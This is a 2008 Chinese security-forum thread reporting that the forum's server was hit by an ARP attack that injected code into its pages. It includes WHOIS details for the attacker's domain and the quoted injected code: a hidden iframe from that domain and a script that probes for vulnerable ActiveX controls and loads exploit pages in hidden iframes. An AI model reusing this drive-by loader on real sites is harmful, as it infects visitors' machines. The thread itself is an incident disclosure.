-
-
[注意]8月2号早上9点左右看雪机房被ARP攻击，现已修复
-
发表于: 2008-8-2 09:35
-
现已修复， 请参考14楼服务器管理员的回复
虽然入侵的页面已经被替换掉，但是很可能已经获取了更多的权限。如果坛主看到请尽快查看服务器日志并且做相应的处理，入侵者很可能是浙江温州的ip
7月30号也是在新网注册的临时域名
虽然入侵的页面已经被替换掉，但是很可能已经获取了更多的权限。如果坛主看到请尽快查看服务器日志并且做相应的处理，入侵者很可能是浙江温州的ip
7月30号也是在新网注册的临时域名
Registry Data
Created: 2008-07-30
Expires: 2009-07-30
Whois Server: whois.cnnic.net.cn
Server Data
IP Address: 61.164.109.18 [Whois] [Reverse-Ip] [Ping] [DNS Lookup] [Traceroute]
IP Location China - Zhejiang - Wenzhou - Chinanet-zj Wenzhou Node Network
Domain Status: Registered And No Website
DomainTools Exclusive
Monitor Domain: [Monitor this domain] Set Free Alerts on cc9jhdsa.cn
Free Tool: Download DomainTools
Whois Record
Domain Name: cc9jhdsa.cn
ROID: 20080730s10001s27105689-cn
Domain Status: ok
Registrant Organization: 海天
Registrant Name: 海天
Administrative Email:
Sponsoring Registrar: 北京新网数码信息技术有限公司
Name Server:ns5.cdncenter.com
Name Server:ns6.cdncenter.com
Registration Date: 2008-07-30 00:57
Expiration Date: 2009-07-30 00:57
<iframe src=http://cc9jhdsa.cn/xi/xx.htm width=50 height=0></iframe>
<script src='http://s69.cnzz.com/stat.php?id=971311&web_id=971311' language='JavaScript' charset='gb2312'></script>
<script>
window.status="Íê³É";
window.onerror=function(){return true;}
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
document.write("<iframe width=20 height=0 src=14.htm></iframe>");
document.write("<iframe width=20 height=0 src=flash.htm></iframe>");
try{var f;
var gw=new ActiveXObject("GLIEDown.IEDown.1");}
catch(f){};
finally{if(f!="[object Error]"){document.write("<iframe width=100 height=0 src=lz.htm></iframe>");}}
try{var m;
var hw=new ActiveXObject("Downloader.DLoader.1");}
catch(m){};
finally{if(m!="[object Error]"){document.write("<iframe width=100 height=0 src=sina.htm></iframe>");}}
try{var n;
var hl=new ActiveXObject("snpvw.Snapshot Viewer Control.1");}
catch(n){};
finally{if(n!="[object Error]"){document.write("<iframe width=100 height=0 src=office.htm></iframe>");}}
function test()
{
rrooxx = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Like = new ActiveXObject(rrooxx);
}catch(error){return;}
vvvvv = Like.PlayerProperty("PRODUCTVERSION");
if(vvvvv<="6.0.14.552")
document.write("<iframe width=100 height=0 src=re10.htm></iframe>");
else
document.write("<iframe width=100 height=0 src=re11.htm></iframe>");
}
test();
</script>
<script src='http://s127.cnzz.com/stat.php?id=755932&web_id=755932' language='JavaScript' charset='gb2312'></script>
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
火狐不会中那几个木马，不过如果入侵者愿意并且知道怎么做，完全可能把整个论坛的信息包括所有用户的注册资料全偷走
|
|
|
|
|
|
啊,正在用IE访问呢,马上撤了
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
